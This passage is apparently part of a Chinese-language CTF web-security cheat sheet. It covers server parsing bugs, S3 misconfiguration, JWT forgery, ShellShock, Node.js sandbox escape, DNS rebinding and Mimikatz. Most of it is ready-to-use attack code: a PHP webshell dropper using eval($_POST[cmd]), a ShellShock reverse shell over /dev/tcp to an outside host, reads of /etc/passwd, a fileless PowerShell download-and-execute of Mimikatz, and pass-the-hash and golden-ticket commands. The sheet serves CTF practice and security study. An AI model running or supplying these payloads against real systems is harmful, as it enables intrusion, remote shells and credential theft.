- user.asp;aa.jpg
- IIS < 7
- Nginx
- nginx < 8.03
cgi.fix_pathinfo=1
- Fast-CGI開啟狀況下
- kaibro.jpg:
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
- 訪問
kaibro.jpg/.php
生成shell.php
- nginx < 8.03
- Apache
-
AWS常見漏洞
- S3 bucket權限配置錯誤
- nslookup判斷
nslookup 87.87.87.87
s3-website-us-west-2.amazonaws.com.
- 確認bucket
- 訪問
bucketname.s3.amazonaws.com
- 成功會返回bucket XML資訊
- 訪問
- awscli工具
- 列目錄
aws s3 ls s3://bucketname/ --region regionname
- 下載
aws sync s3://bucketname/ localdir --region regionname
- 列目錄
- nslookup判斷
- metadata
- S3 bucket權限配置錯誤
-
JWT (Json Web Token)
-
重置算法 None
import jwt; print(jwt.encode({"userName":"admin","userRoot":1001}, key="", algorithm="none"))[:-1]
-
降級算法
- 把"非對稱式加密"降級為"對稱式加密"
- e.g. RS256 改成 HS256
import jwt public = open('public.pem', 'r').read() # public key prin(jwt.encode({"user":"admin","id":1}, key=public, algorithm='HS256'))
-
暴力破解密鑰
- Tool: JWT Cracker
- usage:
./jwtcrack eyJhbGci....
- usage:
- Example:
- Tool: JWT Cracker
-
kid 參數 (key ID)
- 是一個可選參數
- 用於指定加密算法的密鑰
- 任意文件讀取
"kid" : "/etc/passwd"
- SQL注入
- kid 有可能從資料庫提取數據
"kid" : "key11111111' || union select 'secretkey' -- "
- Command Injection
- Ruby open:
"/path/to/key_file|whoami"
- Ruby open:
- Example: HITB CTF 2017 - Pasty
-
敏感訊息洩漏
- JWT 是保證完整性而不是保證機密性
- base64 decode 後即可得到 payload 內容
- Example
-
-
常見Port服務
-
php -i | grep "Loaded Configuration File"
- 列出php.ini路徑
-
OPTIONS method
- 查看可用 HTTP method
curl -i -X OPTIONS 'http://evil.com/'
-
ShellShock
() { :; }; echo vulnerable
() { :a; }; /bin/cat /etc/passwd
() { :; }; /bin/bash -c '/bin/bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'
-
X-forwarded-for 偽造來源IP
- Client-IP
- X-Client-IP
- X-Real-IP
- X-Remote-IP
- X-Remote-Addr
- X-Host
- ...
- 各種繞 Limit (e.g. Rate limit bypass)
-
DNS Zone Transfer
dig @1.2.3.4 abc.com axfr
- DNS Server:
1.2.3.4
- Test Domain:
abc.com
- DNS Server:
-
IIS 短檔名列舉
- Windows 8.3 格式:
administrator
可以簡寫成admini~1
- 原理:短檔名存在或不存在,伺服器回應內容不同
- Tool: https://github.com/irsdl/IIS-ShortName-Scanner
java -jar iis_shortname_scanner.jar 2 20 http://example.com/folder/
- Windows 8.3 格式:
-
NodeJS unicode failure
- 內部使用UCS-2編碼
NN
=>..
N
即\xff\x2e
- 轉型時捨棄第一個Byte
-
特殊的CRLF Injection繞過
%E5%98%8A
- 原始的Unicode碼為
U+560A
- raw bytes:
0x56
,0x0A
-
MySQL utf8 v.s. utf8mb4
- MySQL utf8編碼只支援3 bytes
- 若將4 bytes的utf8mb4插入utf8中,在non strict模式下會被截斷
- CVE-2015-3438 WordPress Cross-Site Scripting Vulnerability
-
Nginx internal繞過
X-Accel-Redirect
- Document
- Example:
- Olympic CTF 2014 - CURLing
- MidnightSun CTF 2019 - bigspin
-
Nginx目錄穿越漏洞
- 常見於Nginx做Reverse Proxy的狀況
location /files { alias /home/ }
- 因為
/files
沒有加上結尾/
,而/home/
有 - 所以
/files../
可以訪問上層目錄
-
Nginx add_header
- 預設當 repsponse 是 200, 201, 204, 206, 301, 302, 303, 304, 307, or 308 時,
add_header
才會設定 header - e.g. Codegate 2020 - CSP
- 預設當 repsponse 是 200, 201, 204, 206, 301, 302, 303, 304, 307, or 308 時,
-
Javascript大小寫特性
"ı".toUpperCase() == 'I'
"ſ".toUpperCase() == 'S'
"K".toLowerCase() == 'k'
- Reference
-
Node.js目錄穿越漏洞
- CVE-2017-14849
- 影響: 8.5.0版
/static/../../../foo/../../../../etc/passwd
-
Node.js vm escape
const process = this.constructor.constructor('return this.process')();process.mainModule.require('child_process').execSync('whoami').toString()
- CONFidence CTF 2020 - TempleJS
- Only allow
/^[a-zA-Z0-9 ${}`]+$/g
Function`a${`return constructor`}{constructor}` `${constructor}` `return flag` ``
- Only allow
-
Apache Tomcat Session操縱漏洞
- 預設session範例頁面
/examples/servlets /servlet/SessionExample
- 可以直接對Session寫入
- 預設session範例頁面
-
polyglot image + .htaccess
- XBM格式有定義在
exif_imagetype()
中 - 符合
.htaccess
格式 - Insomnihack CTF
#define gg_width 1337 #define gg_height 1337 AddType application/x-httpd-php .asp
- XBM格式有定義在
-
AutoBinding / Mass Assignment
- Mass_Assignment_Cheat_Sheet
- Spring MVC
@ModelAttribute
- 會將Client端傳來的參數(GET/POST)綁定到指定Object中,並自動將此Object加到ModelMap中
- Example
@RequestMapping(value = "/home", method = RequestMethod.GET) public String home(@ModelAttribute User user, Model model) { if (showSecret){ model.addAttribute("firstSecret", firstSecret); } return "home"; }
- Example 2:
- Example 3: VolgaCTF 2019 - shop
-
HTTP2 Push
- Server 自己 push 東西回來 (e.g. CSS/JS file)
- e.g. ALLES CTF 2020 - Push
- Chrome Net Export tool
-
Symlink
ln -s ../../../../../../etc/passwd kaibro.link
zip --symlink bad.zip kaibro.link
-
tcpdump
-i
指定網卡,不指定則監控所有網卡-s
默認只抓96bytes,可以-s指定更大數值-w
指定輸出檔host
指定主機(ip or domain)dst
,src
來源或目的端port
指定端口tcp
,udp
,icmp
指定協議- example
- 來源192.168.1.34且目的端口為80
tcpdump -i eth0 src 192.168.1.34 and dst port 80
- 來源192.168.1.34且目的端口是22或3389
tcpdump -i eth0 'src 192.168.1.34 and (dst port 22 or 3389)'
- 保存檔案,可以後續用wireshark分析
tcpdump -i eth0 src kaibro.tw -w file.cap
- 來源192.168.1.34且目的端口為80
-
- php eval
-
https://github.com/denny0223/scrabble
- git
-
https://github.com/lijiejie/ds_store_exp
- .DS_Store
-
https://github.com/kost/dvcs-ripper
- git / svn / hg / cvs ...
-
unicode converter
-
PHP混淆 / 加密
-
https://github.com/Pgaijin66/XSS-Payloads/blob/master/payload.txt
- XSS Payloads
-
DNSLog
-
DNS rebinding
- rebind.network
-
# butit still works A.192.168.1.1.forever.rebind.network #alternate between localhost and 10.0.0.1 forever A.127.0.0.1.1time.10.0.0.1.1time.repeat.rebind.network #first respond with 192.168.1.1 then 192.168.1.2. Now respond 192.168.1.3forever. A.192.168.1.1.1time.192.168.1.2.2times.192.168.1.3.forever.rebind.network #respond with 52.23.194.42 the first time, then whatever `whonow--default-address` # isset to forever after that (default: 127.0.0.1) A.52.23.194.42.1time.rebind.network
-
- rbndr.us
36573657.7f000001.rbndr.us
- Example
- rebind.network
-
https://r12a.github.io/apps/encodings/
- Encoding converter
-
Mimikatz
- 撈密碼
mimikatz.exe privilege::debug sekurlsa::logonpasswords full exit >> log.txt
- powershell 無文件:
powershell "IEX (New-Object Net.WebClient).DownloadString('http://is.gd/oeoFuI'); Invoke-Mimikatz -DumpCreds"
- Pass The Hash
sekurlsa::pth /user:Administrator /domain:kaibro.local /ntlm:cc36cf7a8514893efccd332446158b1a
sekurlsa::pth /user:Administrator /domain:kaibro.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
sekurlsa::pth /user:Administrator /domain:kaibro.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9
- TGT
kerberos::tgt
(Displays informations about the TGT of the current session)
- List / Export Kerberos tickets of all sessions
sekurlsa::tickets /export
- Pass The Ticket
kerberos::ptt [email protected]
- Golden
- generate the TGS with NTLM:
kerberos::golden /domain:<domain_name>/sid:<domain_sid> /rc4:<ntlm_hash> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
- generate the TGS with AES 128 key:
kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes128:<krbtgt_aes128_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
- generate the TGS with AES 256 key:
kerberos::golden /domain:<domain_name>/sid:<domain_sid> /aes256:<krbtgt_aes256_key> /user:<user_name> /service:<service_name> /target:<service_machine_hostname>
- generate the TGS with NTLM:
- Purge
kerberos::purge
(Purges all tickets of the current session)
- 撈密碼
-
WASM
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